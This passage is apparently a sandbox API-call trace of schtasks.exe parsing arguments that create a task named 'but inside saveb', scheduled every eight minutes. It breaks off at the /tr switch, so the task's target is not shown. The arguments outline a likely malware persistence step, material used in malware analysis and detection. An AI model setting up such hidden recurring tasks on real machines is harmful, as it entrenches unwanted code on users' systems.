_Buf2=0xff121b08, _Size=0x7) returned 0 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1c0) returned 1 [0131.390] GetProcessHeap () returned 0x210000 [0131.390] RtlReAllocateHeap (Heap=0x210000, Flags=0xc, Ptr=0x22c1c0, Size=0x14) returned 0x22c220 [0131.390] lstrlenW (lpString="create") returned 6 [0131.390] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.390] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.391] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.391] lstrlenW (lpString="|create|") returned 8 [0131.391] lstrlenW (lpString="|create|") returned 8 [0131.391] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0131.391] SetLastError (dwErrCode=0x0) [0131.391] SetLastError (dwErrCode=0x0) [0131.391] SetLastError (dwErrCode=0x0) [0131.391] lstrlenW (lpString="/tn") returned 3 [0131.391] lstrlenW (lpString="-/") returned 2 [0131.391] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.391] lstrlenW (lpString="?") returned 1 [0131.392] lstrlenW (lpString="?") returned 1 [0131.392] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.392] lstrlenW (lpString="tn") returned 2 [0131.392] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.392] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.392] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.392] lstrlenW (lpString="|?|") returned 3 [0131.392] lstrlenW (lpString="|tn|") returned 4 [0131.392] SetLastError (dwErrCode=0x490) [0131.392] lstrlenW (lpString="create") returned 6 [0131.392] lstrlenW (lpString="create") returned 6 [0131.392] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.392] lstrlenW (lpString="tn") returned 2 [0131.392] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.393] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.393] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.393] lstrlenW (lpString="|create|") returned 8 [0131.393] lstrlenW (lpString="|tn|") returned 4 [0131.393] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0131.393] SetLastError (dwErrCode=0x490) [0131.393] lstrlenW (lpString="delete") returned 6 [0131.393] lstrlenW (lpString="delete") returned 6 [0131.393] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.393] lstrlenW (lpString="tn") returned 2 [0131.393] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.393] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|delete|") returned 8 [0131.393] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.393] lstrlenW (lpString="|delete|") returned 8 [0131.393] lstrlenW (lpString="|tn|") returned 4 [0131.393] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0131.393] SetLastError (dwErrCode=0x490) [0131.393] lstrlenW (lpString="query") returned 5 [0131.393] lstrlenW (lpString="query") returned 5 [0131.393] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.393] lstrlenW (lpString="tn") returned 2 [0131.393] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.393] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|query|") returned 7 [0131.393] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.393] lstrlenW (lpString="|query|") returned 7 [0131.393] lstrlenW (lpString="|tn|") returned 4 [0131.394] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0131.394] SetLastError (dwErrCode=0x490) [0131.394] lstrlenW (lpString="change") returned 6 [0131.394] lstrlenW (lpString="change") returned 6 [0131.394] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.394] lstrlenW (lpString="tn") returned 2 [0131.394] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.394] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|change|") returned 8 [0131.394] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.394] lstrlenW (lpString="|change|") returned 8 [0131.394] lstrlenW (lpString="|tn|") returned 4 [0131.394] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0131.394] SetLastError (dwErrCode=0x490) [0131.394] lstrlenW (lpString="run") returned 3 [0131.394] lstrlenW (lpString="run") returned 3 [0131.394] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.394] lstrlenW (lpString="tn") returned 2 [0131.394] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.394] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|run|") returned 5 [0131.394] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.394] lstrlenW (lpString="|run|") returned 5 [0131.394] lstrlenW (lpString="|tn|") returned 4 [0131.394] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0131.394] SetLastError (dwErrCode=0x490) [0131.394] lstrlenW (lpString="end") returned 3 [0131.394] lstrlenW (lpString="end") returned 3 [0131.394] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.395] lstrlenW (lpString="tn") returned 2 [0131.395] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.395] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|end|") returned 5 [0131.395] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.395] lstrlenW (lpString="|end|") returned 5 [0131.395] lstrlenW (lpString="|tn|") returned 4 [0131.395] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0131.395] SetLastError (dwErrCode=0x490) [0131.395] lstrlenW (lpString="showsid") returned 7 [0131.395] lstrlenW (lpString="showsid") returned 7 [0131.395] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.395] GetProcessHeap () returned 0x210000 [0131.395] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c220) returned 1 [0131.395] GetProcessHeap () returned 0x210000 [0131.395] RtlReAllocateHeap (Heap=0x210000, Flags=0xc, Ptr=0x22c220, Size=0x16) returned 0x22c220 [0131.395] lstrlenW (lpString="tn") returned 2 [0131.395] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.395] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|showsid|") returned 9 [0131.395] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tn|") returned 4 [0131.395] lstrlenW (lpString="|showsid|") returned 9 [0131.395] lstrlenW (lpString="|tn|") returned 4 [0131.395] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0131.395] SetLastError (dwErrCode=0x490) [0131.395] SetLastError (dwErrCode=0x490) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="/tn") returned 3 [0131.396] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0131.396] SetLastError (dwErrCode=0x490) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="/tn") returned 3 [0131.396] GetProcessHeap () returned 0x210000 [0131.396] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x8) returned 0x22c1c0 [0131.396] GetProcessHeap () returned 0x210000 [0131.396] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cbd0 [0131.396] SetLastError (dwErrCode=0x0) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="but inside saveb") returned 16 [0131.396] lstrlenW (lpString="-/") returned 2 [0131.396] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0131.396] SetLastError (dwErrCode=0x490) [0131.396] SetLastError (dwErrCode=0x490) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="but inside saveb") returned 16 [0131.396] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0131.396] SetLastError (dwErrCode=0x490) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="but inside saveb") returned 16 [0131.396] GetProcessHeap () returned 0x210000 [0131.396] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x22) returned 0x22cc00 [0131.396] GetProcessHeap () returned 0x210000 [0131.396] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc30 [0131.396] SetLastError (dwErrCode=0x0) [0131.396] SetLastError (dwErrCode=0x0) [0131.396] lstrlenW (lpString="/sc") returned 3 [0131.396] lstrlenW (lpString="-/") returned 2 [0131.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.397] lstrlenW (lpString="?") returned 1 [0131.397] lstrlenW (lpString="?") returned 1 [0131.397] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.397] lstrlenW (lpString="sc") returned 2 [0131.397] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.397] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.397] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.397] lstrlenW (lpString="|?|") returned 3 [0131.397] lstrlenW (lpString="|sc|") returned 4 [0131.397] SetLastError (dwErrCode=0x490) [0131.397] lstrlenW (lpString="create") returned 6 [0131.397] lstrlenW (lpString="create") returned 6 [0131.397] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.397] lstrlenW (lpString="sc") returned 2 [0131.397] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.397] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.397] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.397] lstrlenW (lpString="|create|") returned 8 [0131.397] lstrlenW (lpString="|sc|") returned 4 [0131.397] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0131.397] SetLastError (dwErrCode=0x490) [0131.397] lstrlenW (lpString="delete") returned 6 [0131.397] lstrlenW (lpString="delete") returned 6 [0131.397] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.397] lstrlenW (lpString="sc") returned 2 [0131.397] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.398] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|delete|") returned 8 [0131.398] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.398] lstrlenW (lpString="|delete|") returned 8 [0131.398] lstrlenW (lpString="|sc|") returned 4 [0131.398] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0131.398] SetLastError (dwErrCode=0x490) [0131.398] lstrlenW (lpString="query") returned 5 [0131.398] lstrlenW (lpString="query") returned 5 [0131.398] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.398] lstrlenW (lpString="sc") returned 2 [0131.398] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.398] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|query|") returned 7 [0131.398] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.398] lstrlenW (lpString="|query|") returned 7 [0131.398] lstrlenW (lpString="|sc|") returned 4 [0131.398] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0131.398] SetLastError (dwErrCode=0x490) [0131.398] lstrlenW (lpString="change") returned 6 [0131.398] lstrlenW (lpString="change") returned 6 [0131.398] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.398] lstrlenW (lpString="sc") returned 2 [0131.398] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.398] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|change|") returned 8 [0131.398] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.398] lstrlenW (lpString="|change|") returned 8 [0131.398] lstrlenW (lpString="|sc|") returned 4 [0131.398] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0131.399] SetLastError (dwErrCode=0x490) [0131.399] lstrlenW (lpString="run") returned 3 [0131.399] lstrlenW (lpString="run") returned 3 [0131.399] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.399] lstrlenW (lpString="sc") returned 2 [0131.399] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.399] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|run|") returned 5 [0131.399] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.399] lstrlenW (lpString="|run|") returned 5 [0131.399] lstrlenW (lpString="|sc|") returned 4 [0131.399] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0131.399] SetLastError (dwErrCode=0x490) [0131.399] lstrlenW (lpString="end") returned 3 [0131.399] lstrlenW (lpString="end") returned 3 [0131.399] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.399] lstrlenW (lpString="sc") returned 2 [0131.399] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.399] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|end|") returned 5 [0131.399] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.399] lstrlenW (lpString="|end|") returned 5 [0131.399] lstrlenW (lpString="|sc|") returned 4 [0131.399] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0131.399] SetLastError (dwErrCode=0x490) [0131.399] lstrlenW (lpString="showsid") returned 7 [0131.399] lstrlenW (lpString="showsid") returned 7 [0131.399] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.400] lstrlenW (lpString="sc") returned 2 [0131.400] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.400] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|showsid|") returned 9 [0131.400] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|sc|") returned 4 [0131.400] lstrlenW (lpString="|showsid|") returned 9 [0131.400] lstrlenW (lpString="|sc|") returned 4 [0131.400] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0131.400] SetLastError (dwErrCode=0x490) [0131.400] SetLastError (dwErrCode=0x490) [0131.400] SetLastError (dwErrCode=0x0) [0131.400] lstrlenW (lpString="/sc") returned 3 [0131.400] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0131.400] SetLastError (dwErrCode=0x490) [0131.400] SetLastError (dwErrCode=0x0) [0131.400] lstrlenW (lpString="/sc") returned 3 [0131.400] GetProcessHeap () returned 0x210000 [0131.400] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x8) returned 0x22c250 [0131.400] GetProcessHeap () returned 0x210000 [0131.400] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc60 [0131.400] SetLastError (dwErrCode=0x0) [0131.400] SetLastError (dwErrCode=0x0) [0131.400] lstrlenW (lpString="MINUTE") returned 6 [0131.400] lstrlenW (lpString="-/") returned 2 [0131.400] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0131.400] SetLastError (dwErrCode=0x490) [0131.400] SetLastError (dwErrCode=0x490) [0131.400] SetLastError (dwErrCode=0x0) [0131.400] lstrlenW (lpString="MINUTE") returned 6 [0131.400] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0131.400] SetLastError (dwErrCode=0x490) [0131.401] SetLastError (dwErrCode=0x0) [0131.401] lstrlenW (lpString="MINUTE") returned 6 [0131.401] GetProcessHeap () returned 0x210000 [0131.401] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d4c0 [0131.401] GetProcessHeap () returned 0x210000 [0131.401] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc90 [0131.401] SetLastError (dwErrCode=0x0) [0131.401] SetLastError (dwErrCode=0x0) [0131.401] lstrlenW (lpString="/mo") returned 3 [0131.401] lstrlenW (lpString="-/") returned 2 [0131.401] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.401] lstrlenW (lpString="?") returned 1 [0131.401] lstrlenW (lpString="?") returned 1 [0131.401] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.401] lstrlenW (lpString="mo") returned 2 [0131.401] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.401] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.401] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.401] lstrlenW (lpString="|?|") returned 3 [0131.401] lstrlenW (lpString="|mo|") returned 4 [0131.401] SetLastError (dwErrCode=0x490) [0131.401] lstrlenW (lpString="create") returned 6 [0131.401] lstrlenW (lpString="create") returned 6 [0131.401] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.401] lstrlenW (lpString="mo") returned 2 [0131.401] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.401] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|create|") returned 8 [0131.401] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.402] lstrlenW (lpString="|create|") returned 8 [0131.402] lstrlenW (lpString="|mo|") returned 4 [0131.402] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0131.402] SetLastError (dwErrCode=0x490) [0131.402] lstrlenW (lpString="delete") returned 6 [0131.402] lstrlenW (lpString="delete") returned 6 [0131.402] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.402] lstrlenW (lpString="mo") returned 2 [0131.402] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.402] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|delete|") returned 8 [0131.402] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.402] lstrlenW (lpString="|delete|") returned 8 [0131.402] lstrlenW (lpString="|mo|") returned 4 [0131.402] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0131.402] SetLastError (dwErrCode=0x490) [0131.402] lstrlenW (lpString="query") returned 5 [0131.402] lstrlenW (lpString="query") returned 5 [0131.402] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.402] lstrlenW (lpString="mo") returned 2 [0131.402] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.402] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|query|") returned 7 [0131.402] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.402] lstrlenW (lpString="|query|") returned 7 [0131.402] lstrlenW (lpString="|mo|") returned 4 [0131.402] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0131.402] SetLastError (dwErrCode=0x490) [0131.402] lstrlenW (lpString="change") returned 6 [0131.403] lstrlenW (lpString="change") returned 6 [0131.403] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.403] lstrlenW (lpString="mo") returned 2 [0131.403] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.403] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|change|") returned 8 [0131.403] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.403] lstrlenW (lpString="|change|") returned 8 [0131.403] lstrlenW (lpString="|mo|") returned 4 [0131.403] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0131.403] SetLastError (dwErrCode=0x490) [0131.403] lstrlenW (lpString="run") returned 3 [0131.403] lstrlenW (lpString="run") returned 3 [0131.403] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.403] lstrlenW (lpString="mo") returned 2 [0131.403] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.403] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|run|") returned 5 [0131.403] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.403] lstrlenW (lpString="|run|") returned 5 [0131.403] lstrlenW (lpString="|mo|") returned 4 [0131.403] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0131.403] SetLastError (dwErrCode=0x490) [0131.403] lstrlenW (lpString="end") returned 3 [0131.403] lstrlenW (lpString="end") returned 3 [0131.403] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.403] lstrlenW (lpString="mo") returned 2 [0131.403] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.404] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|end|") returned 5 [0131.404] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.404] lstrlenW (lpString="|end|") returned 5 [0131.404] lstrlenW (lpString="|mo|") returned 4 [0131.404] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0131.404] SetLastError (dwErrCode=0x490) [0131.404] lstrlenW (lpString="showsid") returned 7 [0131.404] lstrlenW (lpString="showsid") returned 7 [0131.404] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.404] lstrlenW (lpString="mo") returned 2 [0131.404] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.404] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|showsid|") returned 9 [0131.404] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|mo|") returned 4 [0131.404] lstrlenW (lpString="|showsid|") returned 9 [0131.404] lstrlenW (lpString="|mo|") returned 4 [0131.404] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0131.404] SetLastError (dwErrCode=0x490) [0131.404] SetLastError (dwErrCode=0x490) [0131.404] SetLastError (dwErrCode=0x0) [0131.404] lstrlenW (lpString="/mo") returned 3 [0131.404] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0131.404] SetLastError (dwErrCode=0x490) [0131.404] SetLastError (dwErrCode=0x0) [0131.404] lstrlenW (lpString="/mo") returned 3 [0131.404] GetProcessHeap () returned 0x210000 [0131.404] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x8) returned 0x22dc90 [0131.404] GetProcessHeap () returned 0x210000 [0131.404] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22ccc0 [0131.405] SetLastError (dwErrCode=0x0) [0131.405] SetLastError (dwErrCode=0x0) [0131.405] lstrlenW (lpString="8") returned 1 [0131.405] SetLastError (dwErrCode=0x490) [0131.405] SetLastError (dwErrCode=0x0) [0131.405] lstrlenW (lpString="8") returned 1 [0131.405] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0131.405] SetLastError (dwErrCode=0x490) [0131.405] SetLastError (dwErrCode=0x0) [0131.405] lstrlenW (lpString="8") returned 1 [0131.405] GetProcessHeap () returned 0x210000 [0131.405] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x4) returned 0x22dcb0 [0131.405] GetProcessHeap () returned 0x210000 [0131.405] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22ccf0 [0131.405] SetLastError (dwErrCode=0x0) [0131.405] SetLastError (dwErrCode=0x0) [0131.405] lstrlenW (lpString="/tr") returned 3 [0131.405] lstrlenW (lpString="-/") returned 2 [0131.405] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.405] lstrlenW (lpString="?") returned 1 [0131.405] lstrlenW (lpString="?") returned 1 [0131.405] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.405] lstrlenW (lpString="tr") returned 2 [0131.405] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.405] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|?|") returned 3 [0131.405] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0f8 | out: _Buffer="|tr|") returned 4 [0131.405] lstrlenW (lpString="|?|") returned 3 [0131.405] lstrlenW (lpString="|tr|") returned 4 [0131.405] SetLastError (dwErrCode=0x490) [0131.405] lstrlenW (lpString="create") returned 6 [0131.405] lstrlenW 